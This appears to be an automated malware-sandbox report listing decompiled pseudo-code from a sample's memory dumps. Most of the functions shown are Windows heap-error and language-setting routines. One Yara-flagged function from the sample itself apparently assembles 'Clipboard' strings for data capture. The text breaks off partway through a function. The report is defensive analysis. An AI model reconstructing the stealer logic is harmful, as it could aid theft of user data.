This means that the I/O device reported an I/O error. Check your hardware., xrefs: 0132B476
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 0132B53F
an invalid address, %p, xrefs: 0132B4CF

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 917156dfaa602567149fc9d704f78ce88f7d4d4da5b327bac6374fb468a5cbd9
Instruction ID: 6159a937691ce3e4f9edeb995cf7e82039c2b4c061424772e33bed49cf979d1c
Opcode Fuzzy Hash: 917156dfaa602567149fc9d704f78ce88f7d4d4da5b327bac6374fb468a5cbd9
Instruction Fuzzy Hash: C5813735A10228FFDB22BE4ECC99D7B7F79EF56A59F010048F5042B196D2618481EBB2

Uniqueness

Uniqueness Score: -1.00%

Function 01331C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E01331C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x12548a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0127B150();
				} else {
					E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x136589c);
				E0127B150("Heap error detected at %p (heap handle %p)\n",  *0x13658a0);
				_t27 =  *0x1365898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M01331E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0127B150();
				} else {
					E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E0127B150("Error code: %d - %s\n",  *0x1365898);
				_t113 =  *0x13658a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0127B150("Parameter1: %p\n",  *0x13658a4);
				}
				_t115 =  *0x13658a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0127B150("Parameter2: %p\n",  *0x13658a8);
				}
				_t117 =  *0x13658ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0127B150("Parameter3: %p\n",  *0x13658ac);
				}
				_t119 =  *0x13658b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x13658b4);
					E0127B150("Last known valid blocks: before - %p, after - %p\n",  *0x13658b0);
				} else {
					_t120 =  *0x13658b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0127B150();
				} else {
					E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E0127B150("Stack trace available at %p\n", 0x13658c0);
			}

0x01331c10
0x01331c16
0x01331c1e
0x01331c3d
0x01331c3e
0x01331c20
0x01331c35
0x01331c3a
0x01331c44
0x01331c55
0x01331c5a
0x01331c65
0x01331c67
0x00000000
0x01331c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x01331c67
0x01331cdc
0x01331ce5
0x01331d04
0x01331d05
0x01331ce7
0x01331cfc
0x01331d01
0x01331d0b
0x01331d17
0x01331d1f
0x01331d25
0x01331d30
0x01331d4f
0x01331d50
0x01331d32
0x01331d47
0x01331d4c
0x01331d61
0x01331d67
0x01331d68
0x01331d6e
0x01331d79
0x01331d98
0x01331d99
0x01331d7b
0x01331d90
0x01331d95
0x01331daa
0x01331db0
0x01331db1
0x01331db7
0x01331dc2
0x01331de1
0x01331de2
0x01331dc4
0x01331dd9
0x01331dde
0x01331df3
0x01331df9
0x01331dfa
0x01331e00
0x01331e0a
0x01331e13
0x01331e32
0x01331e33
0x01331e15
0x01331e2a
0x01331e2f
0x01331e39
0x01331e4a
0x01331e02
0x01331e02
0x01331e08
0x00000000
0x00000000
0x01331e08
0x01331e5b
0x01331e7a
0x01331e7b
0x01331e5d
0x01331e72
0x01331e77
0x01331e95

Strings

heap_failure_cross_heap_operation, xrefs: 01331CC2
Error code: %d - %s, xrefs: 01331D12
heap_failure_unknown, xrefs: 01331C75
heap_failure_generic, xrefs: 01331C7C
HEAP[%wZ]: , xrefs: 01331C30, 01331CF7, 01331D42, 01331D8B, 01331DD4, 01331E25, 01331E6D
heap_failure_buffer_underrun, xrefs: 01331C9F
heap_failure_entry_corruption, xrefs: 01331C83
Parameter1: %p, xrefs: 01331D5C
heap_failure_internal, xrefs: 01331C6E
heap_failure_invalid_argument, xrefs: 01331CAD
heap_failure_buffer_overrun, xrefs: 01331C98
Heap error detected at %p (heap handle %p), xrefs: 01331C50
heap_failure_block_not_busy, xrefs: 01331CA6
heap_failure_virtual_block_corruption, xrefs: 01331C91
heap_failure_lfh_bitmap_mismatch, xrefs: 01331CD7
heap_failure_invalid_allocation_type, xrefs: 01331CB4
heap_failure_usage_after_free, xrefs: 01331CBB
Last known valid blocks: before - %p, after - %p, xrefs: 01331E45
Parameter2: %p, xrefs: 01331DA5
Parameter3: %p, xrefs: 01331DEE
HEAP: , xrefs: 01331C16, 01331C3D, 01331D04, 01331D4F, 01331D98, 01331DE1, 01331E32, 01331E7A
Stack trace available at %p, xrefs: 01331E86
heap_failure_freelists_corruption, xrefs: 01331CC9
heap_failure_listentry_corruption, xrefs: 01331CD0
heap_failure_multiple_entries_corruption, xrefs: 01331C8A

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 1e2cd70133e3dc33ae247c7cebeef8ee2d6cd182f11f5270e4d1ddb73bafcfe6
Instruction ID: 62b524784d51f0a9f4b02711c20ba4cfcca43331ed6b983a44663ce8a0c4980f
Opcode Fuzzy Hash: 1e2cd70133e3dc33ae247c7cebeef8ee2d6cd182f11f5270e4d1ddb73bafcfe6
Instruction Fuzzy Hash: 1361E63B631199DFD711EB89E488D3177ACEB44A34B0A803EF80D5BB51E6749C808B1E

Uniqueness

Uniqueness Score: -1.00%

Function 01283D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E01283D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E01281B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E01281B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E01281B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E01281B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E01281B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L01294620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E012BF3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E012C1370(_t276, 0x1254e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E012BBB40(0,  &_v68, _t170);
									if(L012843C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E012BBB40(_t257,  &_v68, _t243);
								if(L012843C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E012C1370(_t278, 0x1254e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L01294620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E012BF3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E012C1370(_v16, 0x1254e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E012BBB40(_t262,  &_v68, _t244);
								if(L012843C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E012C1370(_t282, 0x1254e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E012BBB40(_t262,  &_v68, _t201);
							if(L012843C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L01294620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E012BF3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E012C1370(_t280, 0x1254e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E012BBB40(_t267,  &_v68, _t245);
							if(L012843C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E012C1370(_t284, 0x1254e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E012BBB40(_t267,  &_v68, _t224);
						if(L012843C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x01283d3c
0x01283d42
0x01283d44
0x01283d46
0x01283d49
0x01283d4c
0x01283d4f
0x01283d52
0x01283d55
0x01283d58
0x01283d5b
0x01283d5f
0x01283d61
0x01283d66
0x012d8213
0x012d8218
0x01284085
0x01284088
0x0128408e
0x01284094
0x0128409a
0x012840a0
0x012840a6
0x012840a9
0x012840af
0x012840b6
0x012840bd
0x012840bd
0x01283d83
0x012d821f
0x012d8229
0x012d8238
0x012d8238
0x012d823d
0x012d823d
0x01283da0
0x01283daf
0x01283db5
0x01283dba
0x01283dba
0x01283dd4
0x01283e94
0x01283eab
0x01283f6d
0x01283f84
0x0128406b
0x0128406b
0x0128406e
0x0128406e
0x01284070
0x01284074
0x012d8351
0x012d8351
0x0128407a
0x0128407f
0x012d835d
0x012d8370
0x012d8377
0x012d8379
0x012d837c
0x012d837c
0x012d835d
0x00000000
0x0128407f
0x01283f8a
0x01283f8d
0x01283f90
0x01283f95
0x012d830d
0x012d830f
0x01283f9b
0x01283fac
0x01283fae
0x01283fb1
0x01283fb1
0x01283fb6
0x012d8317
0x012d831a
0x00000000
0x01283fbc
0x01283fc1
0x01283fc9
0x01283fd7
0x01283fda
0x01283fdd
0x01284021
0x01284021
0x01284029
0x01284030
0x01284044
0x01284046
0x01284046
0x01284044
0x01284049
0x012d8327
0x012d8334
0x012d8339
0x012d833c
0x0128404f
0x0128404f
0x0128404f
0x01284051
0x01284056
0x01284063
0x01284063
0x01284068
0x00000000
0x01284068
0x01283fdf
0x01283fe2
0x01283fe4
0x01283fe7
0x01283fef
0x01284003
0x01284005
0x01284005
0x0128400c
0x01284013
0x01284016
0x01284017
0x0128401b
0x0128401e
0x00000000
0x0128401e
0x01283fb6
0x01283eb1
0x01283eb4
0x01283eb7
0x01283ebc
0x012d82a9
0x012d82ab
0x01283ec2
0x01283ed3
0x01283ed5
0x01283ed8
0x01283ed8
0x01283edd
0x012d82b3
0x012d82b6
0x00000000
0x01283ee3
0x01283ee8
0x01283eed
0x01283ef0
0x01283ef3
0x01283f02
0x01283f05
0x01283f08
0x012d82c0
0x012d82c3
0x012d82c5
0x012d82c8
0x012d82d0
0x012d82e4
0x012d82e6
0x012d82e6
0x012d82ed
0x012d82f4
0x012d82f7
0x012d82f8
0x012d82fc
0x012d82ff
0x012d82ff
0x01283f0e
0x01283f11
0x01283f16
0x01283f1d
0x01283f31
0x012d8307
0x012d8307
0x01283f31
0x01283f39
0x01283f48
0x01283f4d
0x01283f50
0x01283f50
0x01283f53
0x01283f58
0x01283f65
0x01283f65
0x01283f6a
0x00000000
0x01283f6a
0x01283edd
0x01283dda
0x01283ddd
0x01283de0
0x01283de5
0x012d8245
0x01283deb
0x01283df7
0x01283dfc
0x01283dfe
0x01283e01
0x01283e01
0x01283e06
0x012d824d
0x012d824f
0x012d8254
0x00000000
0x01283e0c
0x01283e11
0x01283e16
0x01283e19
0x01283e29
0x01283e2c
0x01283e2f
0x012d825c
0x012d825f
0x012d8261
0x012d8264
0x012d826c
0x012d8280
0x012d8282
0x012d8282
0x012d8289
0x012d8290
0x012d8293
0x012d8294
0x012d8298
0x012d829b
0x012d829b
0x01283e35
0x01283e38
0x01283e3d
0x01283e44
0x01283e58
0x012d82a3
0x012d82a3
0x01283e58
0x01283e60
0x01283e6f
0x01283e74
0x01283e77
0x01283e77
0x01283e7a
0x01283e7f
0x01283e8c
0x01283e8c
0x01283e91
0x00000000
0x01283e91

Strings

Kernel-MUI-Language-Allowed, xrefs: 01283DC0
Kernel-MUI-Language-SKU, xrefs: 01283F70
WindowsExcludedProcs, xrefs: 01283D6F
Kernel-MUI-Language-Disallowed, xrefs: 01283E97
Kernel-MUI-Number-Allowed, xrefs: 01283D8C

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 3fe5e810c1ac2aa865ede00f4e5319b5e4481e5596b6fedc6b4e13d861c23387
Instruction ID: 9176e8b6cba480c5a70c34074a7250640e9b64b2a665acb556b937250ef9efbf
Opcode Fuzzy Hash: 3fe5e810c1ac2aa865ede00f4e5319b5e4481e5596b6fedc6b4e13d861c23387
Instruction Fuzzy Hash: F8F14272D2125AEFCF15EF98C980AEEBBB9FF18750F14005AE905A7251E7749E01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00406A94, Relevance: 6.4, Strings: 5, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00406A94(signed int __eax, void* __ebx, void* __edx) {
				signed int _t38;
				intOrPtr _t64;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;
				void* _t91;
				void* _t92;

				_t38 = __eax;
				_pop(es);
				asm("fdivr dword [0x66887a0e]");
				asm("int3");
				if((__eax & 0x821f90fe) <= 0) {
					_t89 = _t88 + 4;
					if(__eax <= 0x1000) {
						_t82 =  *((intOrPtr*)(_t85 + 8));
						_t64 =  *((intOrPtr*)(_t82 + 0x7d8));
						if(_t64 != 0) {
							_t77 = __eax + __eax;
							_t60 = _t64 + 0x1ff560;
							_t38 = E00419FB0( *((intOrPtr*)(_t85 + 0xc)), _t64 + 0x1ff560, __eax + __eax);
							_t91 = _t89 + 0xc;
							if(_t38 == 0) {
								E00419CA0(_t60,  *((intOrPtr*)(_t85 + 0xc)), _t77);
								_t92 = _t91 + 0xc;
								 *((short*)(_t85 - 4)) = 0;
								_t62 = _t82 + 0x4464;
								 *((intOrPtr*)(_t85 - 0xc)) = 0xa000d;
								 *((intOrPtr*)(_t85 - 8)) = 0xa000d;
								 *((intOrPtr*)(_t85 - 0x3c)) = 0x6c0043;
								 *((intOrPtr*)(_t85 - 0x38)) = 0x700069;
								 *((intOrPtr*)(_t85 - 0x34)) = 0x6f0062;
								 *((intOrPtr*)(_t85 - 0x30)) = 0x720061;
								 *((intOrPtr*)(_t85 - 0x2c)) = 0x64;
								 *((short*)(_t85 - 0x28)) = 0;
								 *((intOrPtr*)(_t85 - 0x26)) = 0;
								 *((intOrPtr*)(_t85 - 0x22)) = 0;
								 *((short*)(_t85 - 0x1e)) = 0;
								 *((intOrPtr*)( *((intOrPtr*)(_t82 + 0xcc0))))(_t82 + 0x4464, 0x104);
								 *((intOrPtr*)( *((intOrPtr*)(_t82 + 0xcbc))))(0);
								if(0 <= 0x40) {
									if(0 == 0) {
										 *((intOrPtr*)(_t85 - 0x1c)) = 0x6e0055;
										 *((intOrPtr*)(_t85 - 0x18)) = 0x6e006b;
										 *((intOrPtr*)(_t85 - 0x14)) = 0x77006f;
										 *((intOrPtr*)(_t85 - 0x10)) = 0x6e;
										E00419CA0(_t62, _t85 - 0x1c, 0x10);
										_t92 = _t92 + 0xc;
									}
								} else {
									 *((short*)(_t82 + 0x44e4)) = 0;
								}
								_t79 = _t82 + 0x4ce4;
								E00419CA0(_t82 + 0x4ce4, _t85 - 0x3c, 0x14);
								E0041A100(_t82 + 0x4ce4, _t85 - 0xc, 0);
								E0041A100(_t79, _t62, 0);
								E0041A100(_t79, _t85 - 0xc, 0);
								E0041A100(_t79,  *((intOrPtr*)(_t85 + 0xc)), 0);
								 *((intOrPtr*)(_t82 + 0xa08)) = E00419F90(_t79) + _t49;
								E00419CA0( *((intOrPtr*)(_t82 + 0xa04)), _t79, E00419F90(_t79) + _t51);
								_t38 = E0040CDF0(_t82, 0x13);
							}
						}
					}
					return _t38;
				} else {
					return 1;
				}
			}

0x00406a94
0x00406a96
0x00406a97
0x00406a9d
0x00406aa3
0x00406acf
0x00406ad7
0x00406ade
0x00406ae1
0x00406ae9
0x00406af1
0x00406af4
0x00406b00
0x00406b05
0x00406b0a
0x00406b16
0x00406b1b
0x00406b27
0x00406b31
0x00406b38
0x00406b3f
0x00406b46
0x00406b4d
0x00406b54
0x00406b5b
0x00406b62
0x00406b69
0x00406b6d
0x00406b70
0x00406b73
0x00406b77
0x00406b80
0x00406b85
0x00406b94
0x00406b9d
0x00406ba4
0x00406bab
0x00406bb2
0x00406bb9
0x00406bbe
0x00406bbe
0x00406b87
0x00406b89
0x00406b89
0x00406bc7
0x00406bce
0x00406bda
0x00406be3
0x00406bef
0x00406bfb
0x00406c0c
0x00406c22
0x00406c2a
0x00406c2f
0x00406c33
0x00406c34
0x00406c38
0x00406aa9
0x00406ab4
0x00406ab4

Strings

C, xrefs: 00406B46
b, xrefs: 00406B54
d, xrefs: 00406B62
a, xrefs: 00406B5B
i, xrefs: 00406B4D

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: C$a$b$d$i
API String ID: 0-2334916691
Opcode ID: 535fc922c479e46d848fb28b513555571712ef77650c66cfbe3440a255b07e16
Instruction ID: 5ce2c022791ae889536e27ce59322686d76c8369ce674c0e13fec7b114a9592e
Opcode Fuzzy Hash: 535fc922c479e46d848fb28b513555571712ef77650c66cfbe3440a255b07e16
Instruction Fuzzy Hash: 9731A2B5A00208BAEB10EF65DC81FFE73B8EF85718F00841EF519E7241E67969458B69

Uniqueness

Uniqueness Score: -1.00%

Function 012740E1, Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E012740E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0127B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E0127B150(", passed to %s", _t29);
					}
					_push("\n");
					E0127B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x1366378 = 1;
						asm("int3");
						 *0x1366378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x012740e6
0x012740e8
0x012740f1
0x012d042d
0x012d044c
0x012d0451
0x012d042f
0x012d0444
0x012d0449
0x012d045d
0x012d0466
0x012d046e
0x012d0474
0x012d0475
0x012d047a
0x012d048a
0x012d048c
0x012d0493
0x012d0494
0x012d0494
0x00000000
0x012d049b
0x00000000

Strings

HEAP: , xrefs: 012D044C
HEAP[%wZ]: , xrefs: 012D043F
Invalid heap signature for heap at %p, xrefs: 012D0458
, passed to %s, xrefs: 012D0469
RtlAllocateHeap, xrefs: 012D0468

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
API String ID: 0-188067316
Opcode ID: c9a4efdf0030f51997e51a4b7358849494266bf75c281d88c2830864c9cab77e
Instruction ID: e5ce2e7bf6f163c3734571d6c3f3dd972d1953708f7a20ca331f029cbafa0749
Opcode Fuzzy Hash: c9a4efdf0030f51997e51a4b7358849494266bf75c281d88c2830864c9cab77e
Instruction Fuzzy Hash: C2017032130251AEE3299769F44EF637BA4DF41F30F28802DF50457661EAF49440C619

Uniqueness

Uniqueness Score: -1.00%

Function 0129A830, Relevance: 5.4, Strings: 4, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E0129A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
